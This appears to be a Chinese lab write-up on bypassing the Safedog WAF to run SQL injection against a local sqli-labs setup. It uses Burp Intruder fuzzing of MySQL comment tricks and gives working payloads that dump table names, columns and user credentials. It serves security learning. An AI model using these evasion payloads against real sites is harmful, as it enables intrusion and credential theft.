SQL注入之waf绕过(safedog)

本地部署apache和safedog后,对sqllab的一个实验

payload:?id=1' and 1=1--+,发现被拦截了,但是不知道拦截的关键词是什么

image-20240722155648577

这里把1=1删了试试

image-20240722160042611

发现有报错,再加上1=1但是不加空格试试。报错了,这里可能是识别到and后紧跟空格和字符的模式,并把它过滤掉了

image-20240722160132218

payload:?id=1 and/**/1=1--+

使用bp进行抓包后,右键发送至intruder。在图示位置添加注入点,配置为爆破模式,使用的字符串为/*! 长度为4

image-20240722161618858

image-20240722161829864

为什么用/*!这三个符号呢?原因如下

image-20240722224512495

找长度不一样的爆破结果,发现已经成功绕过了

image-20240722161916567

接下来尝试联合查询,payload:?id=1' union select 1,2,3--+,发现被拦截了。单独用union、select;用unionselect试试会不会被拦截

image-20240722162303940

union

image-20240722162424538

select

image-20240722162453117

unionselect

image-20240722162513132

可以发现unionselect被拦截了,用之前的方法,构造一个payload:union/**/select 1,2,3

爆破找到可以绕过的语句,这里发现最大长度为4时找不到需要的语句,改成6可以找到

image-20240722162850614

加入database()对数据库进行查询

image-20240722223528274

把括号去掉就没被拦截了

image-20240722223610793

继续用bp爆破实现绕过database/**/()

image-20240722224556140

接下来测试一下group_concat() from语句,尝试查出表名,发现并没有被拦截。用完整语句group_concat(table_name) from information_schema.tables时,被拦截了

image-20240722163512016

这里用一个很神奇的payload

?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*/ --+
在mysql数据库中,一些特有的仅在mysql上用的语句会被放在/*!....*/中执行,%0a是换行符的url编码。
这个payload中,waf认为information_schema.tables被一对/*给注释掉了。
而--的作用是将--以后的代码注释掉,这里--本应该把其后所有东西注释掉,但是由于%0a进行了一个换行,所以这里的--仅将%0a前的/*给注释掉了。而最末尾的*/与前面的/*!形成了闭合,最终能够正常执行sql语句

成功绕过了waf,接下来加入一个where语句,完成表的查询

image-20240722221535340

输入一个where发现被拦截了,继续执行之前的bp爆破操作,当然也可以继续用上面的方法

image-20240722221858719

?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*//**/where--+
往where前的/**/插入一个注入点,进行爆破

任取一个,再加上table_schema='security'查出数据

image-20240722222414015

怎么查出来两个Dumb?原来是?id=1,改为?id=-1就查出表名了

image-20240722222511694

image-20240722222716629

接下来查询列名

?id=-1' union/*/!**!/*/select 1,2,group_concat(column_name) from/*!-- /*%0ainformation_schema.columns*//*////*/where table_name='users'--+

image-20240722225611241

从表中提取数据

?id=-1' union/*/!**!/*/select 1,2,group_concat(concat_ws('~',username,password)) from/*////*/users--+

image-20240722230312979

注意,本文仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。